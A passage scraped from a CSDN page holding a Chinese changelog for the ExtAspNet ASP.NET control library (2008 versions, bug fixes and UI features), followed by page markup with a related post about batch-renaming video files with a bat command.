-第一种方法需要回发,但是我们内置的Ajax支持能很快的返回需要的结果并解析,在网络速度很快的情况下和第二种方法差别不是很大。 -推荐的做法是尽量用客户端实现,客户端实现复杂的直接用服务器端实现。 +目前ExtAspNetAjax的限制。 -只对ExtAspNet控件起作用,对Asp.net控件不起作用。 -对容器控件(有子控件的控件)不起作用,只对最底层的控件起作用。 -对改变控件的Visible属性会有错误。 -Window控件的属性改变只有少数几个起作用(Popup,IFrameUrl)。 -PageManager增加属性EnablePageLoading和EnableAjaxLoading(启用页面第一次加载标示和Ajax加载标示,默认都为true),所以如果使用系统默认的加载标示就不必每个页面都添加PageLoading控件。[fixed] -Grid中的回发事件(主要是LinkButtonField和CheckBoxField(RenderAsStaticField=false))要延迟0ms执行,这样当前行被选中的状态在回发后会得到保持。[fixed] -Grid选中行的状态在第一次回发时不能保持的BUG。[fixed] +2008-08-26 v1.0 +已知问题:IE的ActiveX插件IE Developer Toolbar会对IFrame的加载造成0.5m左右的延迟。 -主要是父页面加载<em>一个</em>比较大的css<em>文件</em>(~100k),则每次打开iframe页面,onload事件的调用都会有500ms左右的延迟,在测试IE性能时要禁用此插件。 +优化弹出窗口中IFrame的显示速度。[fixed] -在当前页面弹出窗口需要~20ms,在父页面弹出窗口需要100~300ms。通过缓存弹出的窗口实例,从而第二次弹出窗口不再需要创建时间。 -PageLayout的Region增加SplitColor属性,默认的背景色是透明的。(在网报中需要设置SplitColor="#CADDF7",以便分隔符的颜色和Toolbar的颜色一致)[fixed] +PageManager增加属性Theme、Language、FormMessageTarget、FormOffsetRight等属性,这些属性可以在Web.config中设置(推荐方法),也可以为每个页面设置。[fixed] -<em>一个</em>典型的应用是为每个用户设置不同的皮肤(根据用户浏览器中Cookie设置的值)(示例在default.aspx)。 -TreeNode增加属性SingleClickExpand,表示点击可切换节点的折叠展开状态。[fixed] +TabStrip中非当前Tab会延迟渲染。[fixed] -这会明显加快页面的渲染速度,网报中<em>一个</em>典型的费用审批页面可以减少200ms的渲染时间。 -由于非当前Tab不会在页面加载时渲染,所以那些Tab中的节点在页面加载后也是不可见的,需要将相关的脚本移动到控件的render事件中。 -不能比较<em>两个</em>DataPicker大小的BUG。[fixed] -TabStrip延迟加载引起的BUG(非当前Tab中的ContentPanel会占据页面空间,已修正)。[fixed] -全新的ExtAspNet.Examples(基础知识/表单控件/数据绑定/容器布局/IFrame框架)。[fixed] +2008-08-19 v0.4 beta6 +PageManager增加<em>两个</em>属性(EnableInlineStyleJavascript/ApplyParentStyleJavascript),可以在IFrame页面中使用父页面的脚本和样式(示例在iframe/default.aspx和iframe/page3.aspx)。[fixed] -测试发现,IFrame页面的加载速度并没有明显加快,可以先不使用此属性。 -RadioButtonList放在在BorderLayout中显示不了的BUG [feedback:zgjiang2]。[fixed] +extjs的BUG,当页面中含有iframe时,Ext.onReady会被调用两次(IE6/IE7)(http://www.extjs.net/forum/showthread.php?t=43246)(示例在test.aspx)[fixed] -现在的解决方法是在初始化时:if(this.initialized){return;}this.initialized=true; +需要先回发页面再弹出IFrame窗口。[fixed] -在回发时设置窗口的Popup和IFrameUrl属性,因为这些属性是可以保持状态的,所以在关闭窗口时要注意设置Popup=false。 -另一种做法(推荐):PageContext.RegisterStartupScript(Window99.GetShowReference("./simpleform.aspx"));。 +2008-08-15 v0.4 beta5 -点击关闭窗口的按钮,在IE6下会有JS错误。[fixed] -增加BorderLayout控件,示例在iframe/borderlayout.aspx。[fixed] +Radiobuttonlist显示有重影(示例在radio.aspx)。[fixed] -全新的样式。 -去除Horizontal属性,增加ColumnNumber(可以设置渲染成几列)。 -GetValueReference取得的值不正确的BUG。 -动态向Form中添加FormRow,并动态的向FormRow中添加表单字段,以及如何取得表单字段的值。(示例在form_dynamic.aspx)[fixed] +IFrame弹出窗口关闭后回发父页面,则会多加载IFrame一次,再次打开窗口会重复加载IFrame2-3次[feedback:xmzhu]。[fixed] -这是<em>一个</em>重要的BUG,会严重影响页面的加载速度。原因是通过脚本改变的IFrameUrl会在回发时保持状态,从而回发父页面后Window中的IFrame被添加到页面,而这是不需要的。 -现在"是否弹出窗口、窗口标题、IFrameUrl"在客户端的改变,不会影响服务器端的属性,也即是不保持状态。此问题解决。(示例在button_iframe.aspx) +2008-08-13 v0.4 beta4 -点击关闭窗口的按钮,在IE下会有JS错误。[fixed] -Window的右上角关闭图标增加提示,优化事件响应。[fixed] -Window的代码重构。[fixed] +修正<em>一个</em>的内存泄漏。[fixed] -IE7下测试,打开iframe/default.aspx页面,iexplorer占内存68.368M。 -内存存在泄漏时,点击iframe/page3.aspx页面8次后iexplorer占118.792M内存。 -修正后,点击iframe/page3.aspx页面8次后iexplorer占76.492M内存。 -IE窗口最小化时,IE会自动进行垃圾回收。 +2008-08-12 v0.4 beta3 -底层的javascript框架Extjs升级为v2.2,Grid的渲染速度有很大提升。[fixed] -Grid的EnableDelayRender默认为true(如果没有设置Grid的高度或通过布局间接设置高度,则行不可见,可以通过AutoHeight="true"解决)。[fixed] +页面正在加载的提示尽早的显示出来。[fixed] -首先在执行js来完成页面渲染之前延迟5ms,以便浏览器把当前页面内容显示出来。 -加载js脚本的script标签放置在页面的最后,放置加载js而阻塞PageLoading的显示。 +2008-08-08 v0.4 beta2 -TabStrip延时加载出错。[fixed] -Window的IFrameUrl处理的BUG,比如Pages_ExtAspNet目录下的页面应该为./FE_ApplyEditor.aspx或~/Pages_ExtAspNet/FE_ApplyEditor.aspx。[fixed] -Window的WindowPosition="Center"并且Target="_parent",则会JS错误。[fixed] -实现网报首页下拉菜单和左侧菜单的导航功能。[fixed] -Window的创建在页面显示后进行,不计算在js渲染时间内。[fixed] -优化费用申请页面(尽量减少不必要的层次嵌套)。[fixed] -button_iframe.aspx默认会加载form.aspx页面(Window控件的BUG)。[fixed] -Window中的保存并关闭按钮和Asp.netAjax冲突。[fixed] -优化关闭Window的js脚本,减少写到页面的js大小。[fixed] -加快“保存并关闭”按钮关闭窗口的速度,使用PageContext.RegisterExclusiveScript(CurrentActiveWindow.GetClosePostBackReference());,示例在(simpleform.aspx)。[fixed] +2008-08-05 v0.4 beta1 -DropDownList去除Traditional属性,和传统的Asp.net控件一样不可编辑。[fixed] -DropDownList增加SelectedText属性(去除了模拟树时通过SelectedItem.Text的多余html字符)。[fixed] -为了加快渲染速度,去掉一些特效(比如Panel的折叠效果,Grid的拖动列效果等)[feedback:dcding]。[fixed] -将生成的js对象的名称简单化,这样可以减少生成的js内容,加快页面加载速度(<em>一个</em>典型页面的js由原来的33.0k降低为21.4k)。[fixed] +弹出窗口中,点击按钮回发然后点击关闭按钮,出现js错误 [feedback:xmzhu]。[fixed] -因为在页面的Page_Load中,if (!IsPostBack){PageContext.RegisterPageStateChangedStartupScript();}通过这样方法向页面注册了一段脚本,但是这段脚本在回发时没有注册到页面,因为js调用此脚本时报错。 -一种解决方法是将向页面注册脚本的函数移动到if<em>语句</em>的外面,即每次都向页面注册此脚本。 -另一种办法就是在PageManager控件中增加RegisterPageStateChangedScript(向页面注册监视页面中表单内容改变的脚本)的属性(会在每次页面回发(包含ajax回发)时注册脚本)(示例在button_iframe.aspx/simpleform.aspx)。 +PageManager控件增加ExecuteOnReadyWhenPostBack属性(示例在onreadyscript.aspx)。[fixed] -这个手工添加onReady函数能够在每次页面回发时都注册脚本(包括Ajax局部回发),这就避免了手工去做的麻烦(已经在网报中遇到这种情况)。 -每个页面必须添加<em>一个</em>PageManager控件,否则会出错,同时去除DesignTimeStyle控件(作为PageManager的属性出现)。[fixed] -TextField等表单字段增加Readonly属性。[fixed] +全新设计的IFrame的架构(尽可能和基于MasterPage的架构保持兼容,和Asp.net Ajax保持兼容)。[fixed] -最大的好处是可以减少页面下载完毕后Javascript渲染时间(可以节约一般的渲染时间)。(所有示例在iframe<em><em>文件</em>夹</em>下) +示例1,通过点击按钮弹出IFrame窗口,可直接关闭父页面,也可在关闭后刷新或回发父页面。(default.aspx/page2.aspx/simpleform.aspx) -虽然IFrame和Master两种架构差异迥然,或许你以为需要修改一堆代码来完成这种转换,起初我也是这么认为的,但是现在你所要做的仅仅是为Window控件增加<em>一个</em>属性(Target="_parent"),就完成了两种框架的转换,是不是很酷。 -显然,控件本身封装了大量的代码,简单来看现在有三个页面(default.aspx(A)/page2.aspx(B)/simpleform.aspx(C)),其中A包含B页面,当你在B中打开包含有页面C的窗口时,窗口不是在B中打开,而是在A中打开,这样才能保证窗口覆盖整个页面,当你从C中返回需要回发页面B时,却发现取得的是A页面,因为我们窗口是在A页面中创建的。我会通过一篇文章来揭示这一过程,敬请期待。 -示例2,Grid中弹出窗口。(default.aspx/page3.aspx/simpleform.aspx) +示例3,TriggerBox弹出窗口。(default.aspx/triggerbox.aspx/simpleform.aspx) -在整个页面弹出窗口或者在当前页面弹出窗口,仅仅设置Window的Target属性即可。 -示例4,弹出窗口中的弹出窗口。 -对整个Examples更新测试。[fixed] +2008-07-31 v0.3 beta12 -IE下TabStrip在Ajax回发后不会去掉x-hide-display样式,导致Tab显示为空的BUG。[fixed] -对TabStrip/Panel/Window中的IFrame重新设计,如果设置IFrameUrl="#"或者"about:blank",则不渲染iframe到页面节点,同时第二次打开Window中的IFrame不会有残影出现。[fixed] -如果TabStrip的Tab不是激活Tab并且设置了IFrameUrl,则会延迟加载(示例在tabstrip_iframe.aspx)。[fixed] -Tree控件,点击<em>一个</em>节点自动回发,则当前点击的那个节点的选中状态不会保持的BUG [feedback:zgjiang2]。[fixed] +规范关闭窗口时提示用户保存已经修改的内容提示的调用方式(包含iframe中关闭按钮和window右上角关闭图标的调用方式)(示例在grid_iframe.aspx/simpleform.aspx)。[fixed] -内部实现上,点击“保存并关闭按钮”,可以将关闭窗口的脚本更早的执行(在simpleform.aspx,PageContext.RegisterStartupScript增加重载函数),而不是原来的先创建整个页面UI,再关闭窗口。 -参照Yslow的评分规则,将JS<em>文件</em>引用由head移动到body中。[fixed] -Firefox下,如果页面太长会出滚动条,原来在ViewPort样式中有body{overflow:hidden;}。[fixed] +IFrame内的页面宽度和高度会自动设置(是不是还在为1px/2px的白边而烦恼,现在不用了:-)(示例在iframe_autosize.aspx/simpleform.aspx/simpleform2.aspx)[fixed] -增加PageManager控件(需要指定AutoSizePanelID,即需要设置宽度和高度为整个页面的宽度和高度的Panel),HideScrollbar属性用于隐藏滚动条(IE/Firefox)。 +2008-07-24 v0.3 beta11 -web.config配置信息中MessageTarget改名为FormMessageTarget,增加FormOffsetRight配置项,用来定义全局表单字段距离右边界的宽度,同时每个表单字段都增加OffsetRight属性 [feedback:jima]。[fixed] -Window在回发时设置的Title不起作用的BUG。[fixed] -增加Image控件 [feedback:jima]。[fixed] -Tree控件,如果<em>一个</em>节点不是叶子节点并且没有子节点,则应把它的Expanded设置为false,否则会引起页面死循环回发 [feedback:zgjiang2]。[fixed] -Image增加ToolTipTitle/ToolTipAutoHide<em>两个</em>属性,当提示信息特别长时,可以让用户阅读完毕之后手工关闭提示信息(示例在hyperlink.aspx)。[fixed] -去掉DropDownList控件的Text属性(强制性),可以通过设置SelectedValue来设置选中哪一项 [feedback:xmzhu]。[fixed] -过滤提示消息中的换行符(转换为),否则提示信息可能导致页面渲染错误 [feedback:dcding]。[fixed] +2008-07-23 v0.3 beta10 +完善Tree控件。[fixed] -如何将数据库中的数据绑定到Tree(示例在tree2_bind_database.aspx)。 -ajax加载树节点,放在UpdatePanel中才有ajax的效果(示例在tree2_ajax.aspx)。 -更改TreeNode的ID为NodeId,否则<em>两个</em>树中不能有相同ID的TreeNode,这是不合理的。 -Grid的GridColumn的ID改名成ColumnId,否则同<em>一个</em>页面放置<em>两个</em>Grid,它们的GridColumn的ID不能<em>同名</em>,这是不合理的。注意需要更新以前的代码![fixed] -Grid所有类型的列增加DataTooltipField/DataTooltipFormatString<em>两个</em>字段,以显示ToolTip(示例在grid.aspx)。[fixed] +2008-07-22 v0.3 beta9 +IE6下,左侧导航链接的选中样式,以及鼠标移上去和移开的样式不对。[fixed] -发现原来ie6不能正确解析li的高度,必须手工设置才行(style="height:20px;")。 +IE6/IE7下,模拟树的下拉列表如果文字长度太长,则显示的文字会换行,导致错位。[fixed] -虽然最后未能解决##差旅交通费在IE和Firefox下显示的不同效果。 -但是通过用来代替,从而实现FF和IE下样式的统一。 -刚看到old9的解决方案:把“差旅交通费”改成“差旅交通费”,在IE下和FF下的都不换行,:-) -LinkButton增加OnClick事件 [feedback:huihuang]。[fixed] -Window通过设置IFrameUrl和Popup不起作用的BUG。[feedback:xmzhu]。[fixed] +增加树控件(Tree)(示例在tree2.aspx)。[fixed] -可以在回发时维持树的状态(选中行,折叠/展开,CheckBox)。 -可以通过Inline的方式添加树节点,也可以绑定到XmlDocument/XmlDataSource/SiteMap。 -点击树节点可以链接到页面,也可以引发PostBack事件,可以添加自定义脚本。 +2008-07-16 v0.3 beta8 +ContentPanel中放置ExtAspNet控件,则渲染时会出现各种问题,比如下拉列表显示样式出错,Grid没了滚动条等等。[fixed] -隐蔽性非常强,原来在ContentPanel中渲染ExtAspNet控件,如果容器的display='none',则会出现各种问题(主要是大小不对)。 必须设置容器为visibility='hidden',然后在渲染完成后显示容器。 -现在Grid只要显示的设置高度和宽度,或者隐式的设定宽度高度(通过Anchor或Fit布局实现),只要超过Grid容器就会显示滚动条。 +IE6下,在应用Asp.NetAjax后,Form中字段的宽度渲染不正确。[fixed] -调试相当困难,如果你有过在IE下通过alert发现问题的经历,你就能明白。 -最后发现IE6下应用Asp.NetAjax后不仅Form中列的宽度设置不正确,而且主内容区域的宽度设置也不正确,不过最终我们还是顽强的修复了IE6下的这个BUG: 在MasterPage的onReady函数中,首先修正内容区域的宽度(region3.setWidth(pageLayout1.getSize().width - region2.getSize().width - 5);region3.doLayout();),然后修正页面中所有表单的宽度(box_fixFormWidthInIE6();): 示例在 Site.Master 页面。 +集成的AspNetAjax有<em>一个</em>很大的BUG,只要你在页面上进行过ajax操作,当改变窗口大小时你会惊讶的发现内容区域的内容全部为空了![fixed] -解决方法相当怪异,经过<em>一个</em>下午的不断尝试,终于用<em>一个</em>怪异的方法解决(box.{0}.setSize(box.{0}.getSize());box.{0}.doLayout();), 这样的代码让我想起刷新窗口时那个方法(window.location.href=window.location.href;),不管怎么说,我对能很好的解决这个重大的BUG很是欣喜。 +2008-07-14 v0.3 beta6 -增加FlashObject控件。[fixed] -PageLoading增加EnableFadeOut属性(默认false),可以启用淡出效果。[fixed] -Accordion选中样式微调。[fixed] -预加载Form表单出错时提示信息的背景图片。[fixed] +Grid增加EnableDelayRender属性(默认false),可以加快页面的渲染速度(<em>一个</em>典型的20个记录的页面,可提前0.7s-1s显示出来)。[fixed] -因为延迟加载数据不会改变Grid的大小,所以对于非布局内或不设定高度宽度的Grid,需要设置"EnableDelayRender=false"。 -改变Grid中静态的CheckBoxField图片。[fixed] -TabStrip增加TabIndexChanged事件,同时Tab增加EnablePostBack,可以在点击<em>一个</em>Tab时引起回发事件。这在延迟加载Tab的内容非常有用。(示例在tabstrip.aspx)[fixed] +2008-07-12 v0.3 beta5 -页面菜单Toolbar的分割符和背景不相融合。[fixed] -表单字段之间可以比较大小,比如NumberBox可以和Label比较大小,同时增加CompareType,来指定比较的类型(示例在form_compare.aspx)。[fixed] -如果是同种类型的表单字段,不需要指定CompareType,比如<em>两个</em>NumberBox比较值的大小不需要指定CompareType,而<em>一个</em>NumberBox和TextBox比较大小需要指定CompareType。 +如果在编辑页面使用AspNetAjax,则不能在回发时关闭当前窗口[feedback:huihuang](示例在ajax_editor_main.aspx/ajax_editor.aspx)。[fixed] -这是由于ajax后执行的javascript中不能有return false<em>语句</em>。 +在文本框失去焦点时,执行一些Javascript脚本(示例在textbox_blur.aspx) [feedback:xmzhu]。[fixed] -在页面添加onReady函数(会被系统调用),然后用javascript监视文本框值的改变。 -弹出Window默认显示的错误页面,解决方法在当前目录添加<em>一个</em>空的html页面,然后把Window控件的IFrameUrl指向这个页面而不是"#"。[fixed] +弹出的窗口中的弹出窗口的如果内容发生变化,则点击右上角的关闭按钮时会有提示用户先保存的对话框,但是这个对话框的被第二个弹出窗口覆盖了 [feedback:xmzhu]。[fixed] -原来的调用方法太麻烦(见示例中alert\alert_1.aspx和alert\alert_2.aspx,总计 6 行代码),现在只需要 3 行代码就OK了。 -点击提交按钮后变成灰色不可再次点击(示例在button_click_gray.aspx)[feedback:jima]。[fixed] +增加Menu、MenuText、MenuSeparator、MenuButton、MenuHyperLink控件,用于按钮的下拉菜单(示例在button_menu.aspx)。[fixed] -增加SplitButton控件。[fixed] +2008-07-09 v0.3 beta4 -DataPicker默认的日期格式为(yyyy-MM-dd)。[fixed] +Form表单字段(TextBox,DropDownList...)之间可以比较大小 [feedback:huihuang]。[fixed] -增加ControlToCompare/ValueToCompare/CompareOperator/CompareMessage四个属性,示例在form_compare.aspx。 +TabStrip中放置IFrame会出现渲染错误 (示例在tabstrip_iframe.aspx)[feedback:jima]。[fixed] -特殊处理,拥有IFrame的Tab如果不是激活Tab,则不设置Url,只有在激活时才设置Url。 -RadioButtonList增加AutoPostBack属性(示例在radio.aspx) [feedback:xmzhu]。[fixed] -FormRow可以设置各列的宽度百分比 (示例在form_columnwidths.aspx)[feedback:jima]。[fixed] +表单字段Enable=false时显示颜色太浅 [feedback:jima]。[fixed] -覆盖缺省样式的.x-item-disabled,设置不透明。 +2008-07-08 v0.3 beta3 -Grid没有数据,向后翻页按钮可以点击的BUG [feedback:huihuang]。[fixed] +增加HiddenField控件。[fixed] -其实用TextBox也能模拟HiddenField的行为,只需要设置CssStyle="display:none;"即可。 +TriggerBox 如果 EnableTextBox = true,则不能将Text回发(这是html的限制)。[fixed] -最后的解决方案居然是设置 readonly=true,同时更改属性为 Readonly(示例在textbox2.aspx)。 -模拟树的下拉列表在失去焦点后显示的文字不对的BUG。[fixed] +控制下拉列表某些项不可以选择(示例在dropdownlist2.aspx)。[fixed] -增加 DataEnableSelectField 属性,不可选择的项变灰,并且鼠标经过时没有样式。 -LinkButton和Grid的LinkButtonField增加Enable属性(示例在hyperlink.aspx和grid.aspx)。[fixed] +2008-07-07 v0.3 beta2 +增加UpdatePanelConnector控件,支持在布局构建的页面使用Asp.net Ajax。[fixed] -使用UpdatePanelConnector有<em>一个</em><em>要<em>求</em></em>:ContentTemplate下只能有<em>一个</em>子节点,比如box:Panel。 -示例在ajax3.aspx/content_page4.aspx。 -示例content_page3.aspx中,点击“Ajax查询”按钮和关闭弹出的窗口(点击右上角的叉)都引发异步更新。 +2008-07-03 v0.3 beta1 +容器控件的AutoHeight/AutoWidth默认为false。[fixed] -使用GroupPanel的地方需要手工添加AutoHeight="true"属性。 +增加UserControlConnector,可以在其中放置用户控件(示例在page_usercontrol.aspx)。[fixed] -也可以在ContentPanel中放置用户控件,注意两者的区别。 +增加ContentPlaceHolderConnector,替换原来Region的ContentPlaceHolderId属性(示例在Site.master)。[fixed] +支持Asp.net ajax异步加载。[fixed] -有很大局限性,只能在ContentPanel中使用,示例在ajax1.aspx/content_ajax2.aspx中。 -对于使用布局构建的页面(比如content_page1.aspx)还不能使用Asp.net ajax,因为页面是整体渲染的,先放弃。 +2008-07-02 v0.2 beta12 +关闭前提示当前页面已经被修改(示例在content_page1.aspx/simpleform.aspx)[fixed] -支持Iframe内按钮和window右上角关闭按钮。 -<em>删除</em>CloseAction属性,可以在后台通过OnClientCloseButtonClick属性指定(为了和iframe中做法一致)。 +iframe中的alert/confirm要覆盖整个父页面,而不仅仅是iframe页面。[fixed] -在Firefox下还有问题。[fix pending] +排序时在标题栏显示排序箭头,可以排序的列标题光标为手形(示例在grid_sorting.aspx)。[fixed] -可以通过设置Grid1.CurrentSortColumnIndex = 0;来强制某列显示排序箭头。 -可以通过 Grid1.Columns[Grid1.CurrentSortColumnIndex].SortExpression 的方式取得当前Grid的排序表达式。 +HyperLinkField/WindowField的链接地址支持服务器端格式(即是~/alert.aspx)。[fixed] -TabStrip的Tab中如果放置ContentPanel,则内容渲染位置不正确。[fixed] -可以在ContentPanel中放置用户控件(示例在page_usercontrol.aspx)。[fixed] +2008-06-30 v0.2 beta11 -增加TwinTriggerBox控件(示例在twintriggerbox.aspx)。[fixed] -Grid的数据库分页需要增加属性IsDatabasePaging=true,以便普通分页和数据库分页,否则在添加<em>删除</em>记录时总记录数不会变化 [feedback:zgjiang2]。[fixed] -关闭Window时PostBack事件OnClose可以指定参数,来区分是哪些操作引发的PostBack事件 [feedback:zgjiang2](示例在window_postback.aspx)。[fixed] -如果表单验证不通过,则需要弹出对话框提示(第<em>一个</em>没通过验证的字段)(目前还不能切换到相应的tab)。[fixed] +页面中任意可输入表单字段发生变化,可提示先保存。(示例在content_page1.aspx/simpleform.aspx)[fixed] -目前还不支持Window右上角关闭按钮的提示保存功能。 -Master/Content的内容页中Grid的Sort事件不起作用的BUG [feedback:zgjiang2]。[fixed] -Grid中的LinkButtonField设置ConfirmText会出错 [feedback:huihuang]。[fixed] -增加静态类Confirm。[fixed] +2008-06-27 v0.2 beta10 +Grid完善。[fixed] -CheckBoxField在回发时不能保持状态的BUG (已经更新了grid_checkboxfield.aspx示例)。 -Grid中模拟树显示,GridColumn增加DataSimulateTreeLevelField属性(<em>一个</em>Grid只能有<em>一个</em>Column指定此属性),指定此列模拟树显示时的层次字段(0,1,2,...)(示例在grid_simulate_tree.aspx)。 -切换分页时清空选中的值 [feedback:jqpeng]。 -增加PreRowDataBound事件,可以在数据绑定之前设置某列的属性 [feedback:xmzhu] (示例在grid_prerowdatabound.aspx)。 -DropDownList模拟树的方式显示,增加DataSimulateTreeLevelField属性,使用方法和Grid的类似(示例在dropdownlist_simulate_tree.aspx)。 +2008-06-25 v0.2 beta9 +Window窗体中的</a></div><div data-report-view="{"mod":"popu_645","index":"5","dest":"https://blog.csdn.net/weixin_59312879/article/details/123101530","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" class="list-item" data-v-ca2d15ac><div class="recommend-title" data-v-ca2d15ac><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAeZJREFUWEdjZGBgYPhQkSn49/v/EAbG/2oM/xn4QWI0A4wMHxn+M95i5mRcI9Ax/T0jyPI/P/7VM/5n4KKZpVgM/s/I8I2Fg6mR8W1+RioDw39TelqOsIvxNOPbgvRumgc7Lt8xMnxkfJufPmtgfA+xddQBeEOAv7opgImHh5PoKPr169fnOdN3/Xn88DOxevA6QLC9L5KRk4uHWMNA6v59+fz50+TeTf9evvhGjD6qOwDsiI8fPnya2LX537t3Pwg5giYOADvi3Zs3nyZ0bfn36dNvfI6gmQNAlv599fLlxwmd2xi+ffuDsyjAVw6QkwbQLfr76MHDj30duwbMAf+/f/vyvrJoOcUO+Pf82dOv2zadIZSoQPLcXn4mTJJS0iA21Rzw+/6de58n9uwlxgG8+SXOrIoqSlR1ADEWY1NDtRBg+PXrx7+PHz4S4xAmfgF+BjY2DqqGwIBHwb/3797+unzhFjEhwKZroMYkKCRM1RAgxmKapoF/r1+9/HHs8GVslrCISfCzWVpjbdZRLRHiSwOsugZivMkZ/jQNAYa/f//8//UTe+3GyMTMyMGBtd1AtRAY8DQwIA7gTcuxZuDkABcoZIPvP358njXlKFmVEdmWkqBxMHRMBrhrNuCdU1B0DWT3HACwkGScZb+cwwAAAABJRU5ErkJggg==" alt data-v-ca2d15ac> <a target="_blank" href="https://blog.csdn.net/weixin_59312879/article/details/123101530" data-report-click="{"mod":"popu_645","index":"5","dest":"https://blog.csdn.net/weixin_59312879/article/details/123101530","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" data-report-query="spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default" class="title" data-v-ca2d15ac>用<em>bat</em>批量重命名不同<em><em>文件</em>夹</em>下的<em>同名</em><em>文件</em></a></div> <a target="_blank" href="https://blog.csdn.net/weixin_59312879/article/details/123101530" data-report-click="{"mod":"popu_645","index":"5","dest":"https://blog.csdn.net/weixin_59312879/article/details/123101530","strategy":"2~default~OPENSEARCH~Rate","extra":"{\"utm_medium\":\"distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default\",\"dist_request_id\":\"1714006244188_80349\"}","spm":"1035.2023.3001.6557"}" data-report-query="spm=1035.2023.3001.6557&utm_medium=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default&depth_1-utm_source=distribute.pc_relevant_bbs_down_v2.none-task-blog-2~default~OPENSEARCH~Rate-5-123101530-bbs-390264122.264^v3^pc_relevant_bbs_down_v2_default" class="desc" data-v-ca2d15ac>起因:手机B站离线的视频目录是这个样子的 视频的每<em>一个</em>分P都会生成<em>一个</em><em><em>文件</em>夹</em>,包含视频基本资料和<em>一个</em>名为80的<em><em>文件</em>夹</em>,这个<em><em>文件</em>夹</em>里放着后缀名为m4s的音频和视频<em>文件</em>,现需要使用电脑播放下载的视频。那么第一步就是更改视频和音频<em>文件</em>的后缀名。 百度得知<em>bat</em>使用的基本案例: ren *.m4s *.mp4 可将以m4s的后缀名<em>文件</em>批量重命名为以mp4为后缀名的<em>文件</em>。唯一不足的是这个<em>bat</em><em>文件</em>需要放在与被更改<em>文件</em>同一<em><em>文件</em>夹</em>下,而这个视频由于有多个分P,导致有许多<em><em>文件</em>夹</em>,这个方法不好用。 </a></div></div></div></div> <div class="public_pc_right_footer2020" style="display:none;" data-v-4a5a7f56></div></div> <div id="right-floor-user-content_562" data-editor="{"type":"floor","pageId":143,"floorId":562}" class="user-right-floor right-box main-box detail-user-right" data-v-229a00b0><div class="__vuescroll" style="height:100%;width:100%;padding:0;position:relative;overflow:hidden;"><div class="__panel __hidebar" style="position:relative;box-sizing:border-box;height:100%;overflow-y:hidden;overflow-x:hidden;transform-origin:;transform:;"><div class="__view" style="position:relative;box-sizing:border-box;min-width:100%;min-height:100%;"><!----><div comp-data="[object Object]" baseInfo="[object Object]" community="[object Object]" class="introduce" data-v-4722a3ae><div class="introduce-title" data-v-4722a3ae><div class="img-info" data-v-4722a3ae><a href="https://bbs.csdn.net/forums/OfficeDevelopment" class="community-img" data-v-4722a3ae><img src="https://g.csdnimg.cn/static/user-img/default-user.png" alt data-v-4722a3ae> <div title="Office开发/ VBA" class="community-name" data-v-4722a3ae> Office开发/ VBA </div></a></div></div> <div class="content" data-v-4722a3ae><div class="detail" data-v-4722a3ae><div title="5139" class="item" data-v-4722a3ae><p class="num" data-v-4722a3ae> 5,139 </p> <p class="desc" data-v-4722a3ae> 社区成员 </p></div> <div title="17886" class="item" data-v-4722a3ae><a href="https://bbs.csdn.net/forums/OfficeDevelopment" target="_blank" data-v-4722a3ae><p class="num" data-v-4722a3ae> 17,886 </p> <p class="desc" data-v-4722a3ae> 社区内容 </p></a></div></div> <div class="detail-btns" data-v-4722a3ae><div class="community-ctrl-btns_wrapper" data-v-0ebf603c data-v-4722a3ae><div class="community-ctrl-btns" data-v-0ebf603c><div class="community-ctrl-btns_item" data-v-0ebf603c><div data-v-160be461 data-v-0ebf603c><div data-report-click="{"spm":"3001.5975"}" data-v-160be461><img src="https://csdnimg.cn/release/cmsfe/public/img/topic.427195d5.png" alt="" class="img sendTopic" data-v-160be461 data-v-0ebf603c> <span data-v-160be461 data-v-0ebf603c>发帖</span></div> <!----> <!----></div></div><div class="community-ctrl-btns_item" data-v-0ebf603c><div data-v-0ebf603c><img src="https://csdnimg.cn/release/cmsfe/public/img/me.40a70ab0.png" alt="" class="img me" data-v-0ebf603c> <span data-v-0ebf603c>与我相关</span></div></div><div class="community-ctrl-btns_item" data-v-0ebf603c><div data-v-0ebf603c><img src="https://csdnimg.cn/release/cmsfe/public/img/task.87b52881.png" alt="" class="img task" data-v-0ebf603c> <span data-v-0ebf603c>我的任务</span></div></div><div class="community-ctrl-btns_item" data-v-0ebf603c><div class="community-share" data-v-4ca34db9 data-v-0ebf603c><div class="handle-item share" data-v-ca030a68 data-v-4ca34db9><span height="384" data-v-ca030a68><div role="tooltip" id="el-popover-8516" aria-hidden="true" class="el-popover el-popper popo share-popover" style="width:265px;display:none;"><!----><div id="tool-QRcode" class="QRcode" data-v-ca030a68><img src="https://csdnimg.cn/release/cmsfe/public/img/shareBg2.05330abf.png" alt="" class="share-bg" data-v-ca030a68> <div class="share-bg-box" data-v-ca030a68><div class="share-content" data-v-ca030a68><img src="https://g.csdnimg.cn/static/user-img/default-user.png" alt="" class="share-avatar" data-v-ca030a68> <div class="share-tit" data-v-ca030a68>Office开发/ VBA</div> <div class="share-dec" data-v-ca030a68>其他开发语言 Office开发/ VBA</div> <span class="copy-share-url" data-v-ca030a68>复制链接</span> <div class="shareText" data-v-ca030a68> </div></div> <div class="share-code" data-v-ca030a68><div class="qrcode" data-v-ca030a68></div> <div 